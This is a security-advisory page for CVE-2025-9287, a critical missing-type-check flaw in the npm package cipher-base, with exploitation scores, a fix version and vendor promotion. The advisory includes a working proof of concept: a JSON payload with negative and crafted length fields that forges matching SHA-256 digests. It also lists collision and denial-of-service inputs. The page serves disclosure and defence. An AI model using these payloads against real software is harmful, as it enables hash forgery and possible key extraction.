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📦 npm

GHSA-cpq7-6gpm-g9rc

CRITICAL

cipher-base is missing type checks, leading to hash rewind and passing on crafted data

Also known asCVE-2025-9287
Published
Aug 21, 2025
Updated
Mar 16, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk37th percentile+0.32%
0.00%0.32%0.65%0.97%0.1%0.5%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.

cipher-basenpm
13.4Mdownloads / week

Description

Summary

This affects e.g. create-hash (and crypto-browserify), so I'll describe the issue against that package Also affects create-hmac and other packages

Node.js createHash works only on strings or instances of Buffer, TypedArray, or DataView.

Missing input type checks (in npm create-hash polyfill of Node.js createHash) can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.

Details

See PoC

PoC

const createHash = require('create-hash/browser.js')
const { randomBytes } = require('crypto')

const sha256 = (...messages) => {
  const hash = createHash('sha256')
  messages.forEach((m) => hash.update(m))
  return hash.digest('hex')
}

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])

Output:

9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9
9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9
Hashed input means safe

This works with:

const forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }])

But there are other types of input which lead to unchecked results

Impact

  1. Hash state rewind on {length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.
  2. Value miscalculation, e.g. a collision is generated by { length: buf.length, ...buf, 0: buf[0] + 256 } This will result in the same hash as of buf, but can be treated by other code differently (e.g. bn.js)
  3. DoS on {length:'1e99'}
  4. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like GHSA-vjh7-7g9h-fjfh)
  5. Also, other typed arrays results are invalid, e.g. returned hash of new Uint16Array(5) is the same as new Uint8Array(5), not new Uint16Array(10) as it should have been (and is in Node.js crypto) -- same for arrays with values non-zero, their hashes are just truncated to %256 instead of converted to correct bytelength

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmcipher-baseall versions1.0.5

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for cipher-base. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update cipher-base to 1.0.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cpq7-6gpm-g9rc is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-cpq7-6gpm-g9rc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-cpq7-6gpm-g9rc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary This affects e.g. `create-hash` (and `crypto-browserify`), so I'll describe the issue against that package Also affects `create-hmac` and other packages Node.js `createHash` works only on strings or instances of Buffer, TypedArray, or DataView. Missing input type checks (in npm `create-hash` polyfill of Node.js `createHash`) can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour. ### Details See PoC ### PoC `
O3 Security · Impact-Aware SCA

Is GHSA-cpq7-6gpm-g9rc in your dependencies?

O3 detects GHSA-cpq7-6gpm-g9rc across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.